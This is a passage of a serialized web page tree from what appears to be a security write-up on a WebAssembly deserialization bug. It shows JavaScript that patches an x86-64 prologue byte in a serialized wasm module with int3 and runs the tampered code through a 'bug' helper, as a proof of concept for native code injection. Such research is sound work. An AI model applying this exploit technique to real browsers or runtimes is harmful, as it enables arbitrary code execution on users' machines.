alue":7867},{"type":23,"tag":75,"props":143900,"children":143901},{"style":94},[143902],{"type":29,"value":611},{"type":23,"tag":75,"props":143904,"children":143905},{"style":237},[143906],{"type":29,"value":143907},"96",{"type":23,"tag":75,"props":143909,"children":143910},{"style":94},[143911],{"type":29,"value":611},{"type":23,"tag":75,"props":143913,"children":143914},{"style":237},[143915],{"type":29,"value":648},{"type":23,"tag":75,"props":143917,"children":143918},{"style":94},[143919],{"type":29,"value":611},{"type":23,"tag":75,"props":143921,"children":143922},{"style":237},[143923],{"type":29,"value":648},{"type":23,"tag":75,"props":143925,"children":143926},{"style":94},[143927],{"type":29,"value":611},{"type":23,"tag":75,"props":143929,"children":143930},{"style":237},[143931],{"type":29,"value":28518},{"type":23,"tag":75,"props":143933,"children":143934},{"style":94},[143935],{"type":29,"value":611},{"type":23,"tag":75,"props":143937,"children":143938},{"style":237},[143939],{"type":29,"value":14409},{"type":23,"tag":75,"props":143941,"children":143942},{"style":94},[143943],{"type":29,"value":611},{"type":23,"tag":75,"props":143945,"children":143946},{"style":237},[143947],{"type":29,"value":7867},{"type":23,"tag":75,"props":143949,"children":143950},{"style":94},[143951],{"type":29,"value":611},{"type":23,"tag":75,"props":143953,"children":143954},{"style":237},[143955],{"type":29,"value":648},{"type":23,"tag":75,"props":143957,"children":143958},{"style":94},[143959],{"type":29,"value":611},{"type":23,"tag":75,"props":143961,"children":143962},{"style":237},[143963],{"type":29,"value":65855},{"type":23,"tag":75,"props":143965,"children":143966},{"style":94},[143967],{"type":29,"value":611},{"type":23,"tag":75,"props":143969,"children":143970},{"style":237},[143971],{"type":29,"value":67069},{"type":23,"tag":75,"props":143973,"children":143974},{"style":94},[143975],{"type":29,"value":611},{"type":23,"tag":75,"props":143977,"children":143978},{"style":237},[143979],{"type":29,"value":7867},{"type":23,"tag":75,"props":143981,"children":143982},{"style":94},[143983],{"type":29,"value":611},{"type":23,"tag":75,"props":143985,"children":143986},{"style":237},[143987],{"type":29,"value":29331},{"type":23,"tag":75,"props":143989,"children":143990},{"style":94},[143991],{"type":29,"value":611},{"type":23,"tag":75,"props":143993,"children":143994},{"style":237},[143995],{"type":29,"value":143833},{"type":23,"tag":75,"props":143997,"children":143998},{"style":94},[143999],{"type":29,"value":611},{"type":23,"tag":75,"props":144001,"children":144002},{"style":237},[144003],{"type":29,"value":144004},"104",{"type":23,"tag":75,"props":144006,"children":144007},{"style":94},[144008],{"type":29,"value":611},{"type":23,"tag":75,"props":144010,"children":144011},{"style":237},[144012],{"type":29,"value":144013},"101",{"type":23,"tag":75,"props":144015,"children":144016},{"style":94},[144017],{"type":29,"value":611},{"type":23,"tag":75,"props":144019,"children":144020},{"style":237},[144021],{"type":29,"value":144022},"108",{"type":23,"tag":75,"props":144024,"children":144025},{"style":94},[144026],{"type":29,"value":611},{"type":23,"tag":75,"props":144028,"children":144029},{"style":237},[144030],{"type":29,"value":144022},{"type":23,"tag":75,"props":144032,"children":144033},{"style":94},[144034],{"type":29,"value":118},{"type":23,"tag":75,"props":144036,"children":144037},{"class":77,"line":121},[144038,144042,144046,144050,144054,144058,144062,144066,144070,144074,144078,144082,144086,144090,144094,144099],{"type":23,"tag":75,"props":144039,"children":144040},{"style":237},[144041],{"type":29,"value":143815},{"type":23,"tag":75,"props":144043,"children":144044},{"style":94},[144045],{"type":29,"value":611},{"type":23,"tag":75,"props":144047,"children":144048},{"style":237},[144049],{"type":29,"value":648},{"type":23,"tag":75,"props":144051,"children":144052},{"style":94},[144053],{"type":29,"value":611},{"type":23,"tag":75,"props":144055,"children":144056},{"style":237},[144057],{"type":29,"value":13656},{"type":23,"tag":75,"props":144059,"children":144060},{"style":94},[144061],{"type":29,"value":611},{"type":23,"tag":75,"props":144063,"children":144064},{"style":237},[144065],{"type":29,"value":28751},{"type":23,"tag":75,"props":144067,"children":144068},{"style":94},[144069],{"type":29,"value":611},{"type":23,"tag":75,"props":144071,"children":144072},{"style":237},[144073],{"type":29,"value":7867},{"type":23,"tag":75,"props":144075,"children":144076},{"style":94},[144077],{"type":29,"value":611},{"type":23,"tag":75,"props":144079,"children":144080},{"style":237},[144081],{"type":29,"value":14409},{"type":23,"tag":75,"props":144083,"children":144084},{"style":94},[144085],{"type":29,"value":611},{"type":23,"tag":75,"props":144087,"children":144088},{"style":237},[144089],{"type":29,"value":648},{"type":23,"tag":75,"props":144091,"children":144092},{"style":94},[144093],{"type":29,"value":611},{"type":23,"tag":75,"props":144095,"children":144096},{"style":237},[144097],{"type":29,"value":144098},"11",{"type":23,"tag":75,"props":144100,"children":144101},{"style":94},[144102],{"type":29,"value":118},{"type":23,"tag":75,"props":144104,"children":144105},{"class":77,"line":138},[144106],{"type":23,"tag":75,"props":144107,"children":144108},{"style":94},[144109],{"type":29,"value":15025},{"type":23,"tag":75,"props":144111,"children":144112},{"class":77,"line":161},[144113,144117,144121,144125,144129,144134,144138,144142,144146,144151],{"type":23,"tag":75,"props":144114,"children":144115},{"style":82},[144116],{"type":29,"value":46241},{"type":23,"tag":75,"props":144118,"children":144119},{"style":110},[144120],{"type":29,"value":82795},{"type":23,"tag":75,"props":144122,"children":144123},{"style":209},[144124],{"type":29,"value":1193},{"type":23,"tag":75,"props":144126,"children":144127},{"style":82},[144128],{"type":29,"value":43128},{"type":23,"tag":75,"props":144130,"children":144131},{"style":110},[144132],{"type":29,"value":144133}," WebAssembly",{"type":23,"tag":75,"props":144135,"children":144136},{"style":94},[144137],{"type":29,"value":557},{"type":23,"tag":75,"props":144139,"children":144140},{"style":88},[144141],{"type":29,"value":10310},{"type":23,"tag":75,"props":144143,"children":144144},{"style":94},[144145],{"type":29,"value":643},{"type":23,"tag":75,"props":144147,"children":144148},{"style":110},[144149],{"type":29,"value":144150},"wasm_code",{"type":23,"tag":75,"props":144152,"children":144153},{"style":94},[144154],{"type":29,"value":15099},{"type":23,"tag":75,"props":144156,"children":144157},{"class":77,"line":196},[144158,144162,144167,144171,144175,144179,144183,144188,144192,144197],{"type":23,"tag":75,"props":144159,"children":144160},{"style":82},[144161],{"type":29,"value":46241},{"type":23,"tag":75,"props":144163,"children":144164},{"style":110},[144165],{"type":29,"value":144166}," inst",{"type":23,"tag":75,"props":144168,"children":144169},{"style":209},[144170],{"type":29,"value":1193},{"type":23,"tag":75,"props":144172,"children":144173},{"style":82},[144174],{"type":29,"value":43128},{"type":23,"tag":75,"props":144176,"children":144177},{"style":110},[144178],{"type":29,"value":144133},{"type":23,"tag":75,"props":144180,"children":144181},{"style":94},[144182],{"type":29,"value":557},{"type":23,"tag":75,"props":144184,"children":144185},{"style":88},[144186],{"type":29,"value":144187},"Instance",{"type":23,"tag":75,"props":144189,"children":144190},{"style":94},[144191],{"type":29,"value":643},{"type":23,"tag":75,"props":144193,"children":144194},{"style":110},[144195],{"type":29,"value":144196},"mod",{"type":23,"tag":75,"props":144198,"children":144199},{"style":94},[144200],{"type":29,"value":15099},{"type":23,"tag":75,"props":144202,"children":144203},{"class":77,"line":220},[144204,144208,144212,144216,144220,144224,144228,144232,144237],{"type":23,"tag":75,"props":144205,"children":144206},{"style":82},[144207],{"type":29,"value":46241},{"type":23,"tag":75,"props":144209,"children":144210},{"style":110},[144211],{"type":29,"value":4340},{"type":23,"tag":75,"props":144213,"children":144214},{"style":209},[144215],{"type":29,"value":1193},{"type":23,"tag":75,"props":144217,"children":144218},{"style":110},[144219],{"type":29,"value":144166},{"type":23,"tag":75,"props":144221,"children":144222},{"style":94},[144223],{"type":29,"value":557},{"type":23,"tag":75,"props":144225,"children":144226},{"style":110},[144227],{"type":29,"value":49077},{"type":23,"tag":75,"props":144229,"children":144230},{"style":94},[144231],{"type":29,"value":557},{"type":23,"tag":75,"props":144233,"children":144234},{"style":110},[144235],{"type":29,"value":144236},"shell",{"type":23,"tag":75,"props":144238,"children":144239},{"style":94},[144240],{"type":29,"value":245},{"type":23,"tag":75,"props":144242,"children":144243},{"class":77,"line":248},[144244],{"type":23,"tag":75,"props":144245,"children":144246},{"emptyLinePlaceholder":15},[144247],{"type":29,"value":276},{"type":23,"tag":75,"props":144249,"children":144250},{"class":77,"line":270},[144251,144255,144260,144264,144268],{"type":23,"tag":75,"props":144252,"children":144253},{"style":209},[144254],{"type":29,"value":67572},{"type":23,"tag":75,"props":144256,"children":144257},{"style":88},[144258],{"type":29,"value":144259},"WasmTierUpFunction",{"type":23,"tag":75,"props":144261,"children":144262},{"style":94},[144263],{"type":29,"value":643},{"type":23,"tag":75,"props":144265,"children":144266},{"style":110},[144267],{"type":29,"value":512},{"type":23,"tag":75,"props":144269,"children":144270},{"style":94},[144271],{"type":29,"value":15099},{"type":23,"tag":75,"props":144273,"children":144274},{"class":77,"line":279},[144275,144279,144284,144288,144293,144297,144301,144305],{"type":23,"tag":75,"props":144276,"children":144277},{"style":82},[144278],{"type":29,"value":46241},{"type":23,"tag":75,"props":144280,"children":144281},{"style":110},[144282],{"type":29,"value":144283}," serialized",{"type":23,"tag":75,"props":144285,"children":144286},{"style":209},[144287],{"type":29,"value":1193},{"type":23,"tag":75,"props":144289,"children":144290},{"style":209},[144291],{"type":29,"value":144292}," %",{"type":23,"tag":75,"props":144294,"children":144295},{"style":88},[144296],{"type":29,"value":143291},{"type":23,"tag":75,"props":144298,"children":144299},{"style":94},[144300],{"type":29,"value":643},{"type":23,"tag":75,"props":144302,"children":144303},{"style":110},[144304],{"type":29,"value":144196},{"type":23,"tag":75,"props":144306,"children":144307},{"style":94},[144308],{"type":29,"value":15099},{"type":23,"tag":75,"props":144310,"children":144311},{"class":77,"line":303},[144312,144316,144320,144324,144328,144332,144336,144341],{"type":23,"tag":75,"props":144313,"children":144314},{"style":82},[144315],{"type":29,"value":23033},{"type":23,"tag":75,"props":144317,"children":144318},{"style":110},[144319],{"type":29,"value":1241},{"type":23,"tag":75,"props":144321,"children":144322},{"style":209},[144323],{"type":29,"value":1193},{"type":23,"tag":75,"props":144325,"children":144326},{"style":82},[144327],{"type":29,"value":43128},{"type":23,"tag":75,"props":144329,"children":144330},{"style":88},[144331],{"type":29,"value":143802},{"type":23,"tag":75,"props":144333,"children":144334},{"style":94},[144335],{"type":29,"value":643},{"type":23,"tag":75,"props":144337,"children":144338},{"style":110},[144339],{"type":29,"value":144340},"serialized",{"type":23,"tag":75,"props":144342,"children":144343},{"style":94},[144344],{"type":29,"value":15099},{"type":23,"tag":75,"props":144346,"children":144347},{"class":77,"line":322},[144348,144353,144357,144361,144365,144370,144374,144378,144382,144387,144391,144396,144400,144404,144409],{"type":23,"tag":75,"props":144349,"children":144350},{"style":110},[144351],{"type":29,"value":144352},"console",{"type":23,"tag":75,"props":144354,"children":144355},{"style":94},[144356],{"type":29,"value":557},{"type":23,"tag":75,"props":144358,"children":144359},{"style":88},[144360],{"type":29,"value":112288},{"type":23,"tag":75,"props":144362,"children":144363},{"style":94},[144364],{"type":29,"value":643},{"type":23,"tag":75,"props":144366,"children":144367},{"style":1266},[144368],{"type":29,"value":144369},"'['",{"type":23,"tag":75,"props":144371,"children":144372},{"style":209},[144373],{"type":29,"value":20160},{"type":23,"tag":75,"props":144375,"children":144376},{"style":110},[144377],{"type":29,"value":1241},{"type":23,"tag":75,"props":144379,"children":144380},{"style":94},[144381],{"type":29,"value":557},{"type":23,"tag":75,"props":144383,"children":144384},{"style":88},[144385],{"type":29,"value":144386},"join",{"type":23,"tag":75,"props":144388,"children":144389},{"style":94},[144390],{"type":29,"value":643},{"type":23,"tag":75,"props":144392,"children":144393},{"style":1266},[144394],{"type":29,"value":144395},"', '",{"type":23,"tag":75,"props":144397,"children":144398},{"style":94},[144399],{"type":29,"value":167},{"type":23,"tag":75,"props":144401,"children":144402},{"style":209},[144403],{"type":29,"value":7862},{"type":23,"tag":75,"props":144405,"children":144406},{"style":1266},[144407],{"type":29,"value":144408}," ']'",{"type":23,"tag":75,"props":144410,"children":144411},{"style":94},[144412],{"type":29,"value":15099},{"type":23,"tag":32,"props":144414,"children":144415},{},[144416],{"type":29,"value":144417},"This produces the following output:",{"type":23,"tag":64,"props":144419,"children":144421},{"code":144420},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[144422],{"type":23,"tag":71,"props":144423,"children":144424},{"__ignoreMap":7},[144425],{"type":29,"value":144420},{"type":23,"tag":32,"props":144427,"children":144428},{},[144429,144431,144437,144439,144445,144447,144453,144454,144460,144462,144467],{"type":29,"value":144430},"The bytes ",{"type":23,"tag":71,"props":144432,"children":144434},{"className":144433},[],[144435],{"type":29,"value":144436},"85, 72, 137, 229, ...",{"type":29,"value":144438}," correspond to the x86-64 function prologue (",{"type":23,"tag":71,"props":144440,"children":144442},{"className":144441},[],[144443],{"type":29,"value":144444},"push rbp; mov rbp, rsp",{"type":29,"value":144446},"). We replace the first byte with ",{"type":23,"tag":71,"props":144448,"children":144450},{"className":144449},[],[144451],{"type":29,"value":144452},"0xcc",{"type":29,"value":27683},{"type":23,"tag":71,"props":144455,"children":144457},{"className":144456},[],[144458],{"type":29,"value":144459},"int3",{"type":29,"value":144461}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":71,"props":144463,"children":144465},{"className":144464},[],[144466],{"type":29,"value":143265},{"type":29,"value":1018},{"type":23,"tag":64,"props":144469,"children":144471},{"code":144470,"language":46810,"meta":7,"className":46808,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n    0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n    195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  f();\n})();\n",[144472],{"type":23,"tag":71,"props":144473,"children":144474},{"__ignoreMap":7},[144475,144498,144525,144745,144812,144820,144847,145061,145313,145564,145790,146034,146254,146261,146310,146355,146399,146438,146450],{"type":23,"tag":75,"props":144476,"children":144477},{"class":77,"line":78},[144478,144482,144486,144490,144494],{"type":23,"tag":75,"props":144479,"children":144480},{"style":94},[144481],{"type":29,"value":643},{"type":23,"tag":75,"props":144483,"children":144484},{"style":82},[144485],{"type":29,"value":47337},{"type":23,"tag":75,"props":144487,"children":144488},{"style":94},[144489],{"type":29,"value":50886},{"type":23,"tag":75,"props":144491,"children":144492},{"style":82},[144493],{"type":29,"value":26057},{"type":23,"tag":75,"props":144495,"children":144496},{"style":94},[144497],{"type":29,"value":401},{"type":23,"tag":75,"props":144499,"children":144500},{"class":77,"line":100},[144501,144505,144509,144513,144517,144521],{"type":23,"tag":75,"props":144502,"children":144503},{"style":82},[144504],{"type":29,"value":47380},{"type":23,"tag":75,"props":144506,"children":144507},{"style":110},[144508],{"type":29,"value":143789},{"type":23,"tag":75,"props":144510,"children":144511},{"style":209},[144512],{"type":29,"value":1193},{"type":23,"tag":75,"props":144514,"children":144515},{"style":82},[144516],{"type":29,"value":43128},{"type":23,"tag":75,"props":144518,"children":144519},{"style":88},[144520],{"type":29,"value":143802},{"type":23,"tag":75,"props":144522,"children":144523},{"style":94},[144524],{"type":29,"value":143807},{"type":23,"tag":75,"props":144526,"children":144527},{"class":77,"line":121},[144528,144533,144537,144541,144545,144549,144553,144557,144561,144565,144569,144573,144577,144581,144585,144589,144593,144597,144601,144605,144609,144613,144617,144621,144625,144629,144633,144637,144641,144645,144649,144653,144657,144661,144665,144669,144673,144677,144681,144685,144689,144693,144697,144701,144705,144709,144713,144717,144721,144725,144729,144733,144737,144741],{"type":23,"tag":75,"props":144529,"children":144530},{"style":237},[144531],{"type":29,"value":144532},"    0",{"type":23,"tag":75,"props":144534,"children":144535},{"style":94},[144536],{"type":29,"value":611},{"type":23,"tag":75,"props":144538,"children":144539},{"style":237},[144540],{"type":29,"value":143824},{"type":23,"tag":75,"props":144542,"children":144543},{"style":94},[144544],{"type":29,"value":611},{"type":23,"tag":75,"props":144546,"children":144547},{"style":237},[144548],{"type":29,"value":143833},{"type":23,"tag":75,"props":144550,"children":144551},{"style":94},[144552],{"type":29,"value":611},{"type":23,"tag":75,"props":144554,"children":144555},{"style":237},[144556],{"type":29,"value":143842},{"type":23,"tag":75,"props":144558,"children":144559},{"style":94},[144560],{"type":29,"value":611},{"type":23,"tag":75,"props":144562,"children":144563},{"style":237},[144564],{"type":29,"value":7867},{"type":23,"tag":75,"props":144566,"children":144567},{"style":94},[144568],{"type":29,"value":611},{"type":23,"tag":75,"props":144570,"children":144571},{"style":237},[144572],{"type":29,"value":648},{"type":23,"tag":75,"props":144574,"children":144575},{"style":94},[144576],{"type":29,"value":611},{"type":23,"tag":75,"props":144578,"children":144579},{"style":237},[144580],{"type":29,"value":648},{"type":23,"tag":75,"props":144582,"children":144583},{"style":94},[144584],{"type":29,"value":611},{"type":23,"tag":75,"props":144586,"children":144587},{"style":237},[144588],{"type":29,"value":648},{"type":23,"tag":75,"props":144590,"children":144591},{"style":94},[144592],{"type":29,"value":611},{"type":23,"tag":75,"props":144594,"children":144595},{"style":237},[144596],{"type":29,"value":7867},{"type":23,"tag":75,"props":144598,"children":144599},{"style":94},[144600],{"type":29,"value":611},{"type":23,"tag":75,"props":144602,"children":144603},{"style":237},[144604],{"type":29,"value":28751},{"type":23,"tag":75,"props":144606,"children":144607},{"style":94},[144608],{"type":29,"value":611},{"type":23,"tag":75,"props":144610,"children":144611},{"style":237},[144612],{"type":29,"value":7867},{"type":23,"tag":75,"props":144614,"children":144615},{"style":94},[144616],{"type":29,"value":611},{"type":23,"tag":75,"props":144618,"children":144619},{"style":237},[144620],{"type":29,"value":143907},{"type":23,"tag":75,"props":144622,"children":144623},{"style":94},[144624],{"type":29,"value":611},{"type":23,"tag":75,"props":144626,"children":144627},{"style":237},[144628],{"type":29,"value":648},{"type":23,"tag":75,"props":144630,"children":144631},{"style":94},[144632],{"type":29,"value":611},{"type":23,"tag":75,"props":144634,"children":144635},{"style":237},[144636],{"type":29,"value":648},{"type":23,"tag":75,"props":144638,"children":144639},{"style":94},[144640],{"type":29,"value":611},{"type":23,"tag":75,"props":144642,"children":144643},{"style":237},[144644],{"type":29,"value":28518},{"type":23,"tag":75,"props":144646,"children":144647},{"style":94},[144648],{"type":29,"value":611},{"type":23,"tag":75,"props":144650,"children":144651},{"style":237},[144652],{"type":29,"value":14409},{"type":23,"tag":75,"props":144654,"children":144655},{"style":94},[144656],{"type":29,"value":611},{"type":23,"tag":75,"props":144658,"children":144659},{"style":237},[144660],{"type":29,"value":7867},{"type":23,"tag":75,"props":144662,"children":144663},{"style":94},[144664],{"type":29,"value":611},{"type":23,"tag":75,"props":144666,"children":144667},{"style":237},[144668],{"type":29,"value":648},{"type":23,"tag":75,"props":144670,"children":144671},{"style":94},[144672],{"type":29,"value":611},{"type":23,"tag":75,"props":144674,"children":144675},{"style":237},[144676],{"type":29,"value":65855},{"type":23,"tag":75,"props":144678,"children":144679},{"style":94},[144680],{"type":29,"value":611},{"type":23,"tag":75,"props":144682,"children":144683},{"style":237},[144684],{"type":29,"value":67069},{"type":23,"tag":75,"props":144686,"children":144687},{"style":94},[144688],{"type":29,"value":611},{"type":23,"tag":75,"props":144690,"children":144691},{"style":237},[144692],{"type":29,"value":7867},{"type":23,"tag":75,"props":144694,"children":144695},{"style":94},[144696],{"type":29,"value":611},{"type":23,"tag":75,"props":144698,"children":144699},{"style":237},[144700],{"type":29,"value":29331},{"type":23,"tag":75,"props":144702,"children":144703},{"style":94},[144704],{"type":29,"value":611},{"type":23,"tag":75,"props":144706,"children":144707},{"style":237},[144708],{"type":29,"value":143833},{"type":23,"tag":75,"props":144710,"children":144711},{"style":94},[144712],{"type":29,"value":611},{"type":23,"tag":75,"props":144714,"children":144715},{"style":237},[144716],{"type":29,"value":144004},{"type":23,"tag":75,"props":144718,"children":144719},{"style":94},[144720],{"type":29,"value":611},{"type":23,"tag":75,"props":144722,"children":144723},{"style":237},[144724],{"type":29,"value":144013},{"type":23,"tag":75,"props":144726,"children":144727},{"style":94},[144728],{"type":29,"value":611},{"type":23,"tag":75,"props":144730,"children":144731},{"style":237},[144732],{"type":29,"value":144022},{"type":23,"tag":75,"props":144734,"children":144735},{"style":94},[144736],{"type":29,"value":611},{"type":23,"tag":75,"props":144738,"children":144739},{"style":237},[144740],{"type":29,"value":144022},{"type":23,"tag":75,"props":144742,"children":144743},{"style":94},[144744],{"type":29,"value":118},{"type":23,"tag":75,"props":144746,"children":144747},{"class":77,"line":138},[144748,144752,144756,144760,144764,144768,144772,144776,144780,144784,144788,144792,144796,144800,144804,144808],{"type":23,"tag":75,"props":144749,"children":144750},{"style":237},[144751],{"type":29,"value":144532},{"type":23,"tag":75,"props":144753,"children":144754},{"style":94},[144755],{"type":29,"value":611},{"type":23,"tag":75,"props":144757,"children":144758},{"style":237},[144759],{"type":29,"value":648},{"type":23,"tag":75,"props":144761,"children":144762},{"style":94},[144763],{"type":29,"value":611},{"type":23,"tag":75,"props":144765,"children":144766},{"style":237},[144767],{"type":29,"value":13656},{"type":23,"tag":75,"props":144769,"children":144770},{"style":94},[144771],{"type":29,"value":611},{"type":23,"tag":75,"props":144773,"children":144774},{"style":237},[144775],{"type":29,"value":28751},{"type":23,"tag":75,"props":144777,"children":144778},{"style":94},[144779],{"type":29,"value":611},{"type":23,"tag":75,"props":144781,"children":144782},{"style":237},[144783],{"type":29,"value":7867},{"type":23,"tag":75,"props":144785,"children":144786},{"style":94},[144787],{"type":29,"value":611},{"type":23,"tag":75,"props":144789,"children":144790},{"style":237},[144791],{"type":29,"value":14409},{"type":23,"tag":75,"props":144793,"children":144794},{"style":94},[144795],{"type":29,"value":611},{"type":23,"tag":75,"props":144797,"children":144798},{"style":237},[144799],{"type":29,"value":648},{"type":23,"tag":75,"props":144801,"children":144802},{"style":94},[144803],{"type":29,"value":611},{"type":23,"tag":75,"props":144805,"children":144806},{"style":237},[144807],{"type":29,"value":144098},{"type":23,"tag":75,"props":144809,"children":144810},{"style":94},[144811],{"type":29,"value":118},{"type":23,"tag":75,"props":144813,"children":144814},{"class":77,"line":161},[144815],{"type":23,"tag":75,"props":144816,"children":144817},{"style":94},[144818],{"type":29,"value":144819},"  ]);\n",{"type":23,"tag":75,"props":144821,"children":144822},{"class":77,"line":196},[144823,144827,144831,144835,144839,144843],{"type":23,"tag":75,"props":144824,"children":144825},{"style":82},[144826],{"type":29,"value":47380},{"type":23,"tag":75,"props":144828,"children":144829},{"style":110},[144830],{"type":29,"value":135602},{"type":23,"tag":75,"props":144832,"children":144833},{"style":209},[144834],{"type":29,"value":1193},{"type":23,"tag":75,"props":144836,"children":144837},{"style":82},[144838],{"type":29,"value":43128},{"type":23,"tag":75,"props":144840,"children":144841},{"style":88},[144842],{"type":29,"value":143802},{"type":23,"tag":75,"props":144844,"children":144845},{"style":94},[144846],{"type":29,"value":143807},{"type":23,"tag":75,"props":144848,"children":144849},{"class":77,"line":220},[144850,144855,144859,144863,144867,144872,144876,144881,144885,144890,144894,144899,144903,144908,144912,144917,144921,144926,144930,144935,144939,144943,144947,144951,144955,144960,144964,144969,144973,144977,144981,144985,144989,144993,144997,145001,145005,145009,145013,145017,145021,145025,145029,145033,145037,145041,145045,145049,145053,145057],{"type":23,"tag":75,"props":144851,"children":144852},{"style":237},[144853],{"type":29,"value":144854},"    147",{"type":23,"tag":75,"props":144856,"children":144857},{"style":94},[144858],{"type":29,"value":611},{"type":23,"tag":75,"props":144860,"children":144861},{"style":237},[144862],{"type":29,"value":29642},{"type":23,"tag":75,"props":144864,"children":144865},{"style":94},[144866],{"type":29,"value":611},{"type":23,"tag":75,"props":144868,"children":144869},{"style":237},[144870],{"type":29,"value":144871},"222",{"type":23,"tag":75,"props":144873,"children":144874},{"style":94},[144875],{"type":29,"value":611},{"type":23,"tag":75,"props":144877,"children":144878},{"style":237},[144879],{"type":29,"value":144880},"192",{"type":23,"tag":75,"props":144882,"children":144883},{"style":94},[144884],{"type":29,"value":611},{"type":23,"tag":75,"props":144886,"children":144887},{"style":237},[144888],{"type":29,"value":144889},"20",{"type":23,"tag":75,"props":144891,"children":144892},{"style":94},[144893],{"type":29,"value":611},{"type":23,"tag":75,"props":144895,"children":144896},{"style":237},[144897],{"type":29,"value":144898},"119",{"type":23,"tag":75,"props":144900,"children":144901},{"style":94},[144902],{"type":29,"value":611},{"type":23,"tag":75,"props":144904,"children":144905},{"style":237},[144906],{"type":29,"value":144907},"44",{"type":23,"tag":75,"props":144909,"children":144910},{"style":94},[144911],{"type":29,"value":611},{"type":23,"tag":75,"props":144913,"children":144914},{"style":237},[144915],{"type":29,"value":144916},"43",{"type":23,"tag":75,"props":144918,"children":144919},{"style":94},[144920],{"type":29,"value":611},{"type":23,"tag":75,"props":144922,"children":144923},{"style":237},[144924],{"type":29,"value":144925},"127",{"type":23,"tag":75,"props":144927,"children":144928},{"style":94},[144929],{"type":29,"value":611},{"type":23,"tag":75,"props":144931,"children":144932},{"style":237},[144933],{"type":29,"value":144934},"62",{"type":23,"tag":75,"props":144936,"children":144937},{"style":94},[144938],{"type":29,"value":611},{"type":23,"tag":75,"props":144940,"children":144941},{"style":237},[144942],{"type":29,"value":28518},{"type":23,"tag":75,"props":144944,"children":144945},{"style":94},[144946],{"type":29,"value":611},{"type":23,"tag":75,"props":144948,"children":144949},{"style":237},[144950],{"type":29,"value":648},{"type":23,"tag":75,"props":144952,"children":144953},{"style":94},[144954],{"type":29,"value":611},{"type":23,"tag":75,"props":144956,"children":144957},{"style":237},[144958],{"type":29,"value":144959},"159",{"type":23,"tag":75,"props":144961,"children":144962},{"style":94},[144963],{"type":29,"value":611},{"type":23,"tag":75,"props":144965,"children":144966},{"style":237},[144967],{"type":29,"value":144968},"206",{"type":23,"tag":75,"props":144970,"children":144971},{"style":94},[144972],{"type":29,"value":611},{"type":23,"tag":75,"props":144974,"children":144975},{"style":237},[144976],{"type":29,"value":55341},{"type":23,"tag":75,"props":144978,"children":144979},{"style":94},[144980],{"type":29,"value":611},{"type":23,"tag":75,"props":144982,"children":144983},{"style":237},[144984],{"type":29,"value":144916},{"type":23,"tag":75,"props":144986,"children":144987},{"style":94},[144988],{"type":29,"value":611},{"type":23,"tag":75,"props":144990,"children":144991},{"style":237},[144992],{"type":29,"value":648},{"type":23,"tag":75,"props":144994,"children":144995},{"style":94},[144996],{"type":29,"value":611},{"type":23,"tag":75,"props":144998,"children":144999},{"style":237},[145000],{"type":29,"value":648},{"type":23,"tag":75,"props":145002,"children":145003},{"style":94},[145004],{"type":29,"value":611},{"type":23,"tag":75,"props":145006,"children":145007},{"style":237},[145008],{"type":29,"value":28518},{"type":23,"tag":75,"props":145010,"children":145011},{"style":94},[145012],{"type":29,"value":611},{"type":23,"tag":75,"props":145014,"children":145015},{"style":237},[145016],{"type":29,"value":648},{"type":23,"tag":75,"props":145018,"children":145019},{"style":94},[145020],{"type":29,"value":611},{"type":23,"tag":75,"props":145022,"children":145023},{"style":237},[145024],{"type":29,"value":648},{"type":23,"tag":75,"props":145026,"children":145027},{"style":94},[145028],{"type":29,"value":611},{"type":23,"tag":75,"props":145030,"children":145031},{"style":237},[145032],{"type":29,"value":648},{"type":23,"tag":75,"props":145034,"children":145035},{"style":94},[145036],{"type":29,"value":611},{"type":23,"tag":75,"props":145038,"children":145039},{"style":237},[145040],{"type":29,"value":648},{"type":23,"tag":75,"props":145042,"children":145043},{"style":94},[145044],{"type":29,"value":611},{"type":23,"tag":75,"props":145046,"children":145047},{"style":237},[145048],{"type":29,"value":648},{"type":23,"tag":75,"props":145050,"children":145051},{"style":94},[145052],{"type":29,"value":611},{"type":23,"tag":75,"props":145054,"children":145055},{"style":237},[145056],{"type":2